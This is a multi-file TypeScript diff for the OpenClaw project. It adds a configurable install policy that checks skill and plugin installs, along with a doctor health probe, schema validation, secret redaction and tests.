const lines: string[] = [`- Install policy enabled for: ${formatTargets(validation)}`];
for (const issue of validation.issues) {
lines.push(`- ${issue.severity.toUpperCase()}: ${issue.message}`);
}
if (validation.issues.some((issue) => issue.severity === "error")) {
lines.push("- Installs and updates for covered targets will fail closed until this is fixed.");
return lines;
}
if (!options.deep) {
lines.push(
`- Static checks passed. Run ${formatCliCommand("openclaw doctor --deep")} to execute a synthetic policy probe.`,
);
return lines;
}
const probeDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-policy-probe-"));
try {
const result = await probeInstallPolicy({
config: cfg,
env: options.env,
logger: {},
sourcePath: probeDir,
});
if (!result?.blocked) {
lines.push("- Deep probe allowed the synthetic install request.");
return lines;
}
if (result.blocked.code === "security_scan_blocked") {
lines.push(
`- Deep probe reached the policy command and the policy blocked the synthetic request: ${result.blocked.reason}`,
);
return lines;
}
lines.push(`- ERROR: Deep probe failed closed: ${result.blocked.reason}`);
lines.push("- Installs and updates for covered targets will fail closed until this is fixed.");
return lines;
} catch (err) {
lines.push(`- ERROR: Deep probe could not run: ${formatErrorMessage(err)}`);
lines.push("- Installs and updates for covered targets will fail closed until this is fixed.");
return lines;
} finally {
await fs.rm(probeDir, { recursive: true, force: true });
}
}
export async function noteInstallPolicyHealth(
cfg: OpenClawConfig,
options: InstallPolicyHealthOptions = {},
): Promise<void> {
const lines = await collectInstallPolicyHealthLines(cfg, options);
if (lines.length === 0) {
return;
}
note(lines.join("\n"), "Install policy");
}
+4
View File
@@ -95,6 +95,10 @@ vi.mock("./doctor-security.js", () => ({
noteSecurityWarnings: vi.fn().mockResolvedValue(undefined),
}));
vi.mock("./doctor-install-policy.js", () => ({
noteInstallPolicyHealth: vi.fn().mockResolvedValue(undefined),
}));
vi.mock("./doctor-session-locks.js", () => ({
noteSessionLockHealth: vi.fn().mockResolvedValue(undefined),
}));
+50
View File
@@ -410,6 +410,56 @@ describe("redactConfigSnapshot", () => {
);
});
it("redacts install policy env values from config snapshots", () => {
const hints = buildConfigSchema().uiHints;
const raw = `{
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "/usr/local/bin/openclaw-install-policy",
env: {
POLICY_TOKEN: "operator-policy-secret-token",
AUDIT_ENDPOINT: "operator-policy-secret-endpoint",
},
},
},
},
}`;
const snapshot = makeSnapshot(
{
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "/usr/local/bin/openclaw-install-policy",
env: {
POLICY_TOKEN: "operator-policy-secret-token",
AUDIT_ENDPOINT: "operator-policy-secret-endpoint",
},
},
},
},
},
raw,
);
const result = redactConfigSnapshot(snapshot, hints);
const cfg = result.config as typeof snapshot.config;
expect(cfg.security.installPolicy.exec.env.POLICY_TOKEN).toBe(REDACTED_SENTINEL);
expect(cfg.security.installPolicy.exec.env.AUDIT_ENDPOINT).toBe(REDACTED_SENTINEL);
expect(result.raw).toContain(REDACTED_SENTINEL);
expect(result.raw).not.toContain("operator-policy-secret-token");
expect(result.raw).not.toContain("operator-policy-secret-endpoint");
const restored = restoreRedactedValues(result.config, snapshot.config, hints);
expect(restored.security.installPolicy.exec.env.POLICY_TOKEN).toBe(
"operator-policy-secret-token",
);
});
it("redacts model provider request proxy URLs from config snapshots", () => {
const hints = buildConfigSchema().uiHints;
const raw = `{
+33
View File
@@ -110,6 +110,7 @@ describe("config schema", () => {
expect(gatewayPortSchema?.description).toContain("TCP port used by the gateway listener");
expect(res.uiHints.gateway?.label).toBe("Gateway");
expect(res.uiHints["gateway.auth.token"]?.sensitive).toBe(true);
expect(res.uiHints["security.installPolicy.exec.env.*"]?.sensitive).toBe(true);
const groupPolicyLabel = res.uiHints["channels.defaults.groupPolicy"]?.label;
expect(groupPolicyLabel).toBeTypeOf("string");
expect(groupPolicyLabel?.trim().length).toBeGreaterThan(0);
@@ -646,6 +647,38 @@ describe("config schema", () => {
).toBe(false);
});
it("accepts install policy exec config in the runtime zod schema", () => {
const parsed = OpenClawSchema.parse({
security: {
installPolicy: {
enabled: true,
targets: ["skill", "plugin"],
exec: {
source: "exec",
command: "/usr/local/bin/openclaw-install-policy",
args: ["--json"],
timeoutMs: 5000,
noOutputTimeoutMs: 2500,
maxOutputBytes: 65536,
env: {
POLICY_MODE: "strict",
},
passEnv: ["OPENCLAW_STATE_DIR"],
trustedDirs: ["/usr/local/bin"],
allowInsecurePath: false,
allowSymlinkCommand: false,
},
},
},
});
expect(parsed.security?.installPolicy?.targets).toEqual(["skill", "plugin"]);
expect(parsed.security?.installPolicy?.exec?.source).toBe("exec");
expect(parsed.security?.installPolicy?.exec?.command).toBe(
"/usr/local/bin/openclaw-install-policy",
);
});
it("accepts Code Mode config in the runtime zod schema", () => {
expect(ToolsSchema.parse({ codeMode: true })?.codeMode).toBe(true);
expect(
+27
View File
@@ -46,6 +46,33 @@ export type SecurityConfig = {
/** Accepted security audit findings to omit from active summary/findings. */
suppressions?: SecurityAuditSuppression[];
};
installPolicy?: {
/**
* Enable operator-owned install policy. When true without an exec command,
* install/update attempts fail closed for supported targets.
*/
enabled?: boolean;
/** Supported install targets. Omit to cover every supported target. */
targets?: Array<"skill" | "plugin">;
/**
* Trusted local policy command. Transport intentionally mirrors exec
* SecretRef provider fields: absolute command, no shell, bounded output,
* explicit env allowlist, and secure path checks.
*/
exec?: {
source: "exec";
command: string;
args?: string[];
timeoutMs?: number;
noOutputTimeoutMs?: number;
maxOutputBytes?: number;
env?: Record<string, string>;
passEnv?: string[];
trustedDirs?: string[];
allowInsecurePath?: boolean;
allowSymlinkCommand?: boolean;
};
};
};
export type SurfaceConfigEntry = {
+26
View File
@@ -104,6 +104,32 @@ const SecuritySchema = z
})
.strict()
.optional(),
installPolicy: z
.object({
enabled: z.boolean().optional(),
targets: z
.array(z.union([z.literal("skill"), z.literal("plugin")]))
.min(1)
.optional(),
exec: z
.object({
source: z.literal("exec"),
command: z.string().min(1),
args: z.array(z.string()).optional(),
timeoutMs: z.number().int().min(1).optional(),
noOutputTimeoutMs: z.number().int().min(1).optional(),
maxOutputBytes: z.number().int().min(1).optional(),
env: z.record(z.string(), z.string().register(sensitive)).optional(),
passEnv: z.array(z.string()).optional(),
trustedDirs: z.array(z.string()).optional(),
allowInsecurePath: z.boolean().optional(),
allowSymlinkCommand: z.boolean().optional(),
})
.strict()
.optional(),
})
.strict()
.optional(),
})
.strict()
.optional();
+2
View File
@@ -554,8 +554,10 @@ async function runStartupChannelMaintenanceHealth(ctx: DoctorHealthFlowContext):
}
async function runSecurityHealth(ctx: DoctorHealthFlowContext): Promise<void> {
const { noteInstallPolicyHealth } = await import("../commands/doctor-install-policy.js");
const { noteSecurityWarnings } = await import("../commands/doctor-security.js");
await noteSecurityWarnings(ctx.cfg);
await noteInstallPolicyHealth(ctx.cfg, { deep: ctx.options.deep === true, env: ctx.env });
}
async function runBrowserHealth(ctx: DoctorHealthFlowContext): Promise<void> {
@@ -11,7 +11,7 @@ const agentScopeState = vi.hoisted(() => ({
}));
const installSecurityScanState = vi.hoisted(() => ({
scanSkillInstallSource: vi.fn(),
evaluateSkillInstallPolicy: vi.fn(),
}));
const replaceFileState = vi.hoisted(() => ({
@@ -30,7 +30,7 @@ vi.mock("../../agents/agent-scope.js", async (importOriginal) => {
});
vi.mock("../../plugins/install-security-scan.js", () => ({
scanSkillInstallSource: installSecurityScanState.scanSkillInstallSource,
evaluateSkillInstallPolicy: installSecurityScanState.evaluateSkillInstallPolicy,
}));
vi.mock("../../infra/replace-file.js", async (importOriginal) => {
@@ -219,8 +219,8 @@ describe("skill upload gateway handlers", () => {
vi.unstubAllEnvs();
replaceFileState.publishFailureTarget = "";
replaceFileState.publishFailures = 0;
installSecurityScanState.scanSkillInstallSource.mockReset();
installSecurityScanState.scanSkillInstallSource.mockResolvedValue(undefined);
installSecurityScanState.evaluateSkillInstallPolicy.mockReset();
installSecurityScanState.evaluateSkillInstallPolicy.mockResolvedValue(undefined);
});
afterEach(async () => {
@@ -461,13 +461,12 @@ describe("skill upload gateway handlers", () => {
await expectPathMissing(path.join(workspaceDir, "skills", "traversal-skill"));
});
it("treats security scan blocks as terminal invalid uploads", async () => {
it("treats install policy blocks as terminal invalid uploads", async () => {
const { handlers, stateDir } = await makeHarness();
installSecurityScanState.scanSkillInstallSource.mockResolvedValueOnce({
installSecurityScanState.evaluateSkillInstallPolicy.mockResolvedValueOnce({
blocked: {
code: "security_scan_blocked",
reason:
'Skill "scan-blocked" installation blocked: blocked dependencies "plain-crypto-js" declared in package.json.',
reason: 'blocked by install policy: Skill "scan-blocked" is not approved.',
},
});
const upload = await uploadArchive(handlers, {
@@ -483,11 +482,13 @@ describe("skill upload gateway handlers", () => {
expect(install.ok).toBe(false);
expect(install.error?.code).toBe("INVALID_REQUEST");
expect(install.error?.message).toContain("blocked dependencies");
const scanInput = firstCallArg<{ origin?: string; skillName?: string }>(
installSecurityScanState.scanSkillInstallSource,
);
expect(scanInput.origin).toBe("skill-upload");
expect(install.error?.message).toContain("blocked by install policy");
const scanInput = firstCallArg<{
origin?: { type?: string; uploadId?: string };
skillName?: string;
}>(installSecurityScanState.evaluateSkillInstallPolicy);
expect(scanInput.origin?.type).toBe("upload");
expect(scanInput.origin?.uploadId).toBe(upload.uploadId);
expect(scanInput.skillName).toBe("scan-blocked");
await expectPathMissing(path.join(stateDir, "tmp", "skill-uploads", upload.uploadId));
});
@@ -247,6 +247,7 @@ describe("skills gateway handlers (clawhub)", () => {
slug: "calendar",
version: "1.2.3",
force: false,
config: {},
});
expect(ok).toBe(true);
expect(error).toBeUndefined();
@@ -259,7 +260,7 @@ describe("skills gateway handlers (clawhub)", () => {
expect(result?.version).toBe("1.2.3");
});
it("forwards dangerous override for local skill installs", async () => {
it("accepts deprecated unsafe override without forwarding it to skill installs", async () => {
installSkillMock.mockResolvedValue({
ok: true,
message: "Installed",
@@ -279,7 +280,6 @@ describe("skills gateway handlers (clawhub)", () => {
workspaceDir: "/tmp/workspace",
skillName: "calendar",
installId: "deps",
dangerouslyForceUnsafeInstall: true,
timeoutMs: 120_000,
config: {},
});
@@ -310,6 +310,7 @@ describe("skills gateway handlers (clawhub)", () => {
expect(updateSkillsFromClawHubMock).toHaveBeenCalledWith({
workspaceDir: "/tmp/workspace",
slug: "calendar",
config: {},
});
expect(ok).toBe(true);
expect(error).toBeUndefined();
+2 -2
View File
@@ -433,6 +433,7 @@ export const skillsHandlers: GatewayRequestHandlers = {
slug: p.slug,
version: p.version,
force: Boolean(p.force),
config: cfg,
});
respond(
result.ok,
@@ -492,14 +493,12 @@ export const skillsHandlers: GatewayRequestHandlers = {
const p = params as {
name: string;
installId: string;
dangerouslyForceUnsafeInstall?: boolean;
timeoutMs?: number;
};
const result = await installSkill({
workspaceDir: workspaceDirRaw,
skillName: p.name,
installId: p.installId,
dangerouslyForceUnsafeInstall: p.dangerouslyForceUnsafeInstall,
timeoutMs: p.timeoutMs,
config: cfg,
});
@@ -543,6 +542,7 @@ export const skillsHandlers: GatewayRequestHandlers = {
const results = await updateSkillsFromClawHub({
workspaceDir,
slug: p.slug,
config: cfg,
});
const errors = results.filter((result) => !result.ok);
respond(
+4
View File
@@ -769,6 +769,10 @@ export function resolveClawHubBaseUrl(baseUrl?: string): string {
return normalizeBaseUrl(baseUrl);
}
export function isDefaultClawHubBaseUrl(baseUrl?: string): boolean {
return normalizeBaseUrl(baseUrl) === normalizeBaseUrl(DEFAULT_CLAWHUB_URL);
}
function buildVersionOrTagSearch(params: {
version?: string;
tag?: string;
+29
View File
@@ -172,6 +172,11 @@ type PackageLookupCall = {
type ArchiveInstallCall = {
archivePath?: string;
dangerouslyForceUnsafeInstall?: boolean;
installPolicyRequest?: {
kind?: string;
requestedSpecifier?: string;
source?: { kind?: string; authority?: string; mutable?: boolean; network?: boolean };
};
trustedSourceLinkedOfficialInstall?: boolean;
};
@@ -323,6 +328,11 @@ describe("installPluginFromClawHub", () => {
archivePath: "/tmp/clawhub-demo/archive.zip",
});
expectSuccessfulClawHubInstall(result);
expect(archiveInstallCall().installPolicyRequest).toEqual({
kind: "plugin-archive",
requestedSpecifier: "clawhub:demo",
source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true },
});
expect(logger.info).toHaveBeenCalledWith("ClawHub code-plugin demo@2026.3.22 channel=official");
expect(logger.info).toHaveBeenCalledWith(
"Compatibility: pluginApi=>=2026.3.22 minGateway=2026.3.0",
@@ -331,6 +341,25 @@ describe("installPluginFromClawHub", () => {
expect(archiveCleanupMock).toHaveBeenCalledTimes(1);
});
it("marks custom ClawHub registries as third-party install policy authority", async () => {
const result = await installPluginFromClawHub({
spec: "clawhub:demo",
baseUrl: "https://clawhub.internal.example",
});
expectClawHubInstallFlow({
baseUrl: "https://clawhub.internal.example",
version: "2026.3.22",
archivePath: "/tmp/clawhub-demo/archive.zip",
});
expectSuccessfulClawHubInstall(result);
expect(archiveInstallCall().installPolicyRequest).toMatchObject({
kind: "plugin-archive",
requestedSpecifier: "clawhub:demo",
source: { kind: "clawhub", authority: "third-party", mutable: false, network: true },
});
});
it("marks official source-linked OpenClaw packages as trusted for install scanning", async () => {
fetchClawHubPackageDetailMock.mockResolvedValueOnce({
package: {
+11 -4
View File
@@ -17,9 +17,11 @@ import {
fetchClawHubPackageArtifact,
fetchClawHubPackageDetail,
fetchClawHubPackageVersion,
isDefaultClawHubBaseUrl,
normalizeClawHubSha256Integrity,
normalizeClawHubSha256Hex,
parseClawHubPluginSpec,
resolveClawHubBaseUrl,
resolveLatestVersionFromPackage,
satisfiesGatewayMinimum,
satisfiesPluginApiRange,
@@ -1203,6 +1205,8 @@ export async function installPluginFromClawHub(
`ClawHub package "${canonicalPackageName}@${versionState.version}" is missing sha256hash; falling back to files[] verification. Validated files: ${validatedPaths}.${validatedGeneratedPaths}`,
);
}
const clawhubRegistry = resolveClawHubBaseUrl(params.baseUrl);
const clawhubAuthority = isDefaultClawHubBaseUrl(params.baseUrl) ? "openclaw" : "third-party";
params.logger?.info?.(
`Downloading ${detail.package?.family === "bundle-plugin" ? "bundle" : "plugin"} ${parsed.name}@${versionState.version} from ClawHub…`,
);
@@ -1210,12 +1214,18 @@ export async function installPluginFromClawHub(
archivePath: archive.archivePath,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: isTrustedSourceLinkedOfficialPackage(detail.package!),
config: params.config,
logger: params.logger,
mode: params.mode,
extensionsDir: params.extensionsDir,
timeoutMs: params.timeoutMs,
dryRun: params.dryRun,
expectedPluginId: params.expectedPluginId,
installPolicyRequest: {
kind: "plugin-archive",
requestedSpecifier: params.spec,
source: { kind: "clawhub", authority: clawhubAuthority, mutable: false, network: true },
},
});
if (!installResult.ok) {
return installResult;
@@ -1250,10 +1260,7 @@ export async function installPluginFromClawHub(
packageName: parsed.name,
clawhub: {
source: "clawhub",
clawhubUrl:
normalizeOptionalString(params.baseUrl) ||
normalizeOptionalString(process.env.OPENCLAW_CLAWHUB_URL) ||
"https://clawhub.ai",
clawhubUrl: clawhubRegistry,
clawhubPackage: parsed.name,
clawhubFamily,
clawhubChannel: pkg.channel,
+142 -1
View File
@@ -7,6 +7,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const runCommandWithTimeoutMock = vi.fn();
const installPluginFromInstalledPackageDirMock = vi.fn();
const preflightPluginGitInstallPolicyMock = vi.fn();
vi.mock("../process/exec.js", () => ({
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
@@ -21,9 +22,21 @@ vi.mock("./install.js", async () => {
};
});
vi.mock("./install-security-scan.js", async () => {
const actual = await vi.importActual<typeof import("./install-security-scan.js")>(
"./install-security-scan.js",
);
return {
...actual,
preflightPluginGitInstallPolicy: (...args: unknown[]) =>
preflightPluginGitInstallPolicyMock(...args),
};
});
vi.resetModules();
const { installPluginFromGitSpec, parseGitPluginSpec } = await import("./git-install.js");
const { installPluginFromGitSpec, isImmutableGitCommitRef, parseGitPluginSpec } =
await import("./git-install.js");
function expectedGitRepoDir(params: { gitDir: string; normalizedSpec: string }): string {
const hash = createHash("sha256")
@@ -52,6 +65,7 @@ function firstInstallOptions():
| {
expectedPluginId?: string;
packageDir?: string;
mode?: string;
installPolicyRequest?: { kind?: string; requestedSpecifier?: string };
}
| undefined {
@@ -59,6 +73,7 @@ function firstInstallOptions():
| {
expectedPluginId?: string;
packageDir?: string;
mode?: string;
installPolicyRequest?: { kind?: string; requestedSpecifier?: string };
}
| undefined;
@@ -97,12 +112,27 @@ describe("parseGitPluginSpec", () => {
});
});
describe("isImmutableGitCommitRef", () => {
it.each([
[undefined, false],
["main", false],
["v1.2.3", false],
["abc123", false],
["0123456789abcdef0123456789abcdef01234567", true],
["0123456789ABCDEF0123456789ABCDEF01234567", true],
] as const)("classifies %s as immutable=%s", (ref, expected) => {
expect(isImmutableGitCommitRef(ref)).toBe(expected);
});
});
describe("installPluginFromGitSpec", () => {
const tempDirs: string[] = [];
beforeEach(async () => {
runCommandWithTimeoutMock.mockReset();
installPluginFromInstalledPackageDirMock.mockReset();
preflightPluginGitInstallPolicyMock.mockReset();
preflightPluginGitInstallPolicyMock.mockResolvedValue(null);
const globalConfigRoot = await fs.mkdtemp(
path.join(os.tmpdir(), "openclaw-git-install-npmrc-"),
);
@@ -208,6 +238,117 @@ describe("installPluginFromGitSpec", () => {
expect(cloneArgv[5]).toContain("/repo");
});
it("runs install policy preflight before npm installs git dependencies", async () => {
runCommandWithTimeoutMock
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" });
preflightPluginGitInstallPolicyMock.mockResolvedValueOnce({
blocked: {
reason: "blocked by install policy: git installs disabled",
code: "security_scan_blocked",
},
});
const result = await installPluginFromGitSpec({
spec: "git:github.com/acme/demo",
expectedPluginId: "demo",
});
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.error).toContain("git installs disabled");
}
expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(2);
expect(commandArgvAt(0).slice(0, 5)).toEqual([
"git",
"clone",
"--depth",
"1",
"https://github.com/acme/demo.git",
]);
expect(commandArgvAt(1)).toEqual(["git", "rev-parse", "HEAD"]);
expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith(
expect.objectContaining({
pluginId: "demo",
requestedSpecifier: "git:github.com/acme/demo",
source: { kind: "git", authority: "third-party", mutable: true, network: true },
sourcePath: expect.stringContaining("/repo"),
}),
);
expect(installPluginFromInstalledPackageDirMock).not.toHaveBeenCalled();
});
it("reports full commit refs as immutable to install policy", async () => {
const commit = "0123456789abcdef0123456789abcdef01234567";
runCommandWithTimeoutMock
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: `${commit}\n`, stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" });
installPluginFromInstalledPackageDirMock.mockImplementation(
async (params: { packageDir: string }) => {
await fs.mkdir(params.packageDir, { recursive: true });
return {
ok: true,
pluginId: "demo",
targetDir: params.packageDir,
version: "1.2.3",
extensions: ["index.js"],
};
},
);
const result = await installPluginFromGitSpec({
spec: `git:github.com/acme/demo@${commit}`,
expectedPluginId: "demo",
});
expect(result.ok).toBe(true);
expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith(
expect.objectContaining({
requestedSpecifier: `git:github.com/acme/demo@${commit}`,
source: { kind: "git", authority: "third-party", mutable: false, network: true },
}),
);
});
it("reports effective install mode for requested git update without an installed target", async () => {
const gitDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-git-install-mode-"));
try {
runCommandWithTimeoutMock
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" })
.mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" });
installPluginFromInstalledPackageDirMock.mockImplementation(
async (params: { packageDir: string }) => {
await fs.mkdir(params.packageDir, { recursive: true });
return {
ok: true,
pluginId: "demo",
targetDir: params.packageDir,
version: "1.2.3",
extensions: ["index.js"],
};
},
);
const result = await installPluginFromGitSpec({
spec: "git:github.com/acme/demo",
expectedPluginId: "demo",
gitDir,
mode: "update",
});
expect(result.ok).toBe(true);
expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith(
expect.objectContaining({ mode: "install" }),
);
expect(firstInstallOptions()?.mode).toBe("install");
} finally {
await fs.rm(gitDir, { recursive: true, force: true });
}
});
it("uses a credential-free managed repo path for authenticated git URLs", async () => {
const gitDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-git-install-path-"));
try {
+58 -7
View File
@@ -4,6 +4,7 @@ import path from "node:path";
import { redactSensitiveUrlLikeString } from "@openclaw/net-policy/redact-sensitive-url";
import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce";
import { sanitizeForLog } from "../../packages/terminal-core/src/ansi.js";
import { pathExists } from "../infra/fs-safe.js";
import { withTempDir } from "../infra/install-source-utils.js";
import { replaceDirectoryAtomic } from "../infra/replace-file.js";
import {
@@ -13,11 +14,20 @@ import {
import { runCommandWithTimeout } from "../process/exec.js";
import { resolveUserPath } from "../utils.js";
import { resolveDefaultPluginGitDir } from "./install-paths.js";
import type { InstallSafetyOverrides } from "./install-security-scan.js";
import { installPluginFromInstalledPackageDir, type InstallPluginResult } from "./install.js";
import {
preflightPluginGitInstallPolicy,
type InstallSafetyOverrides,
type InstallSecurityScanResult,
} from "./install-security-scan.js";
import {
installPluginFromInstalledPackageDir,
PLUGIN_INSTALL_ERROR_CODE,
type InstallPluginResult,
} from "./install.js";
const GIT_SPEC_PREFIX = "git:";
const DEFAULT_GIT_TIMEOUT_MS = 120_000;
const FULL_GIT_COMMIT_PATTERN = /^[0-9a-f]{40}$/i;
type PluginInstallLogger = {
info?: (message: string) => void;
@@ -43,6 +53,10 @@ export type ParsedGitPluginSpec = {
normalizedSpec: string;
};
export function isImmutableGitCommitRef(ref: string | undefined): boolean {
return FULL_GIT_COMMIT_PATTERN.test(ref ?? "");
}
function splitGitSpecRef(input: string): { base: string; ref?: string } {
const hashIndex = input.lastIndexOf("#");
if (hashIndex > 0) {
@@ -253,6 +267,20 @@ function formatGitCommandFailure(params: {
return `failed to ${params.action} ${sanitizeForLog(redactSensitiveUrlLikeString(params.source.label))}: ${detail}`;
}
function buildBlockedGitInstallResult(params: {
blocked: NonNullable<NonNullable<InstallSecurityScanResult>["blocked"]>;
}): Extract<InstallPluginResult, { ok: false }> {
return {
ok: false,
error: params.blocked.reason,
...(params.blocked.code === "security_scan_failed"
? { code: PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED }
: params.blocked.code === "security_scan_blocked"
? { code: PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED }
: {}),
};
}
async function runGitCommand(params: {
argv: string[];
action: string;
@@ -300,6 +328,8 @@ export async function installPluginFromGitSpec(
}
const persistentRepoDir = resolveGitInstallRepoDir({ gitDir: params.gitDir, source: parsed });
const effectiveMode =
params.mode === "update" && (await pathExists(persistentRepoDir)) ? "update" : "install";
return await withTempDir("openclaw-git-plugin-", async (tmpDir) => {
const repoDir = path.join(tmpDir, "repo");
params.logger?.info?.(
@@ -342,6 +372,29 @@ export async function installPluginFromGitSpec(
return rev;
}
const installPolicyRequest = {
kind: "plugin-git" as const,
requestedSpecifier: parsed.input,
source: {
kind: "git" as const,
authority: "third-party" as const,
mutable: !isImmutableGitCommitRef(parsed.ref),
network: true,
},
};
const preflight = await preflightPluginGitInstallPolicy({
config: params.config,
logger: params.logger ?? {},
mode: effectiveMode,
pluginId: params.expectedPluginId ?? parsed.label,
requestedSpecifier: parsed.input,
source: installPolicyRequest.source,
sourcePath: repoDir,
});
if (preflight?.blocked) {
return buildBlockedGitInstallResult({ blocked: preflight.blocked });
}
if (!params.dryRun) {
params.logger?.info?.("Installing plugin dependencies with npm…");
const install = await runCommandWithTimeout(
@@ -374,15 +427,13 @@ export async function installPluginFromGitSpec(
const result = await installPluginFromInstalledPackageDir({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
config: params.config,
packageDir: repoDir,
dryRun: params.dryRun,
expectedPluginId: params.expectedPluginId,
logger: params.logger,
mode: params.mode,
installPolicyRequest: {
kind: "plugin-git",
requestedSpecifier: parsed.input,
},
mode: effectiveMode,
installPolicyRequest,
});
if (!result.ok) {
return result;
+1
View File
@@ -42,6 +42,7 @@ export function initializeGlobalHookRunner(registry: GlobalHookRunnerRegistry):
catchErrors: true,
failurePolicyByHook: {
before_agent_run: "fail-closed",
before_install: "fail-closed",
before_tool_call: "fail-closed",
},
});
+13 -2
View File
@@ -22,11 +22,22 @@ export type BeforeInstallHookPayloadParams = {
sourcePath: string;
sourcePathKind: PluginInstallSourcePathKind;
request: PluginHookBeforeInstallRequest;
builtinScan: PluginHookBeforeInstallBuiltinScan;
builtinScan?: PluginHookBeforeInstallBuiltinScan;
skill?: PluginHookBeforeInstallSkill;
plugin?: PluginHookBeforeInstallPlugin;
};
function emptyBuiltinScan(): PluginHookBeforeInstallBuiltinScan {
return {
status: "ok",
scannedFiles: 0,
critical: 0,
warn: 0,
info: 0,
findings: [],
};
}
export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadParams): {
ctx: PluginHookBeforeInstallContext;
event: PluginHookBeforeInstallEvent;
@@ -38,7 +49,7 @@ export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadP
sourcePathKind: params.sourcePathKind,
...(params.origin ? { origin: params.origin } : {}),
request: params.request,
builtinScan: params.builtinScan,
builtinScan: params.builtinScan ?? emptyBuiltinScan(),
...(params.skill ? { skill: params.skill } : {}),
...(params.plugin ? { plugin: params.plugin } : {}),
};
File diff suppressed because it is too large Load Diff
+57 -14
View File
@@ -1,10 +1,16 @@
import type { OpenClawConfig } from "../config/types.openclaw.js";
import type {
InstallPolicyOrigin,
InstallPolicyRequestKind,
InstallPolicySource,
} from "../security/install-policy.js";
export type { InstallSafetyOverrides } from "./install-security-scan.types.js";
import type { InstallSafetyOverrides } from "./install-security-scan.types.js";
type InstallScanLogger = {
warn?: (message: string) => void;
};
export type { InstallSafetyOverrides } from "./install-security-scan.types.js";
import type { InstallSafetyOverrides } from "./install-security-scan.types.js";
export type InstallSecurityScanResult = {
blocked?: {
code?: "security_scan_blocked" | "security_scan_failed";
@@ -12,12 +18,7 @@ export type InstallSecurityScanResult = {
};
};
export type PluginInstallRequestKind =
| "plugin-dir"
| "plugin-archive"
| "plugin-file"
| "plugin-npm"
| "plugin-git";
export type PluginInstallRequestKind = Exclude<InstallPolicyRequestKind, "skill-install">;
export type SkillInstallSpecMetadata = {
id?: string;
@@ -47,6 +48,7 @@ async function loadInstallSecurityScanRuntime() {
export async function scanBundleInstallSource(
params: InstallSafetyOverrides & {
config?: OpenClawConfig;
logger: InstallScanLogger;
pluginId: string;
sourceDir: string;
@@ -54,6 +56,7 @@ export async function scanBundleInstallSource(
requestedSpecifier?: string;
mode?: "install" | "update";
version?: string;
source?: InstallPolicySource;
},
): Promise<InstallSecurityScanResult | undefined> {
const { scanBundleInstallSourceRuntime } = await loadInstallSecurityScanRuntime();
@@ -62,6 +65,7 @@ export async function scanBundleInstallSource(
export async function scanPackageInstallSource(
params: InstallSafetyOverrides & {
config?: OpenClawConfig;
extensions: string[];
logger: InstallScanLogger;
packageDir: string;
@@ -73,6 +77,7 @@ export async function scanPackageInstallSource(
packageName?: string;
manifestId?: string;
version?: string;
source?: InstallPolicySource;
},
): Promise<InstallSecurityScanResult | undefined> {
const { scanPackageInstallSourceRuntime } = await loadInstallSecurityScanRuntime();
@@ -82,11 +87,16 @@ export async function scanPackageInstallSource(
export async function scanInstalledPackageDependencyTree(params: {
additionalPackageDirs?: string[];
allowManagedNpmRootPackagePeerSymlinks?: boolean;
config?: OpenClawConfig;
dangerouslyForceUnsafeInstall?: boolean;
dependencyScanRootDir?: string;
logger: InstallScanLogger;
mode?: "install" | "update";
packageDir: string;
pluginId: string;
requestKind?: PluginInstallRequestKind;
requestedSpecifier?: string;
source?: InstallPolicySource;
trustedSourceLinkedOfficialInstall?: boolean;
}): Promise<InstallSecurityScanResult | undefined> {
const { scanInstalledPackageDependencyTreeRuntime } = await loadInstallSecurityScanRuntime();
@@ -95,26 +105,59 @@ export async function scanInstalledPackageDependencyTree(params: {
export async function scanFileInstallSource(
params: InstallSafetyOverrides & {
config?: OpenClawConfig;
filePath: string;
logger: InstallScanLogger;
mode?: "install" | "update";
pluginId: string;
requestedSpecifier?: string;
source?: InstallPolicySource;
},
): Promise<InstallSecurityScanResult | undefined> {
const { scanFileInstallSourceRuntime } = await loadInstallSecurityScanRuntime();
return await scanFileInstallSourceRuntime(params);
}
export async function scanSkillInstallSource(params: {
dangerouslyForceUnsafeInstall?: boolean;
export async function preflightPluginNpmInstallPolicy(params: {
config?: OpenClawConfig;
logger: InstallScanLogger;
mode?: "install" | "update";
packageName: string;
pluginId?: string;
requestedSpecifier?: string;
source?: InstallPolicySource;
sourcePath: string;
sourcePathKind: "file" | "directory";
}): Promise<InstallSecurityScanResult | undefined> {
const { preflightPluginNpmInstallPolicyRuntime } = await loadInstallSecurityScanRuntime();
return await preflightPluginNpmInstallPolicyRuntime(params);
}
export async function preflightPluginGitInstallPolicy(params: {
config?: OpenClawConfig;
logger: InstallScanLogger;
mode?: "install" | "update";
pluginId: string;
requestedSpecifier?: string;
source?: InstallPolicySource;
sourcePath: string;
}): Promise<InstallSecurityScanResult | undefined> {
const { preflightPluginGitInstallPolicyRuntime } = await loadInstallSecurityScanRuntime();
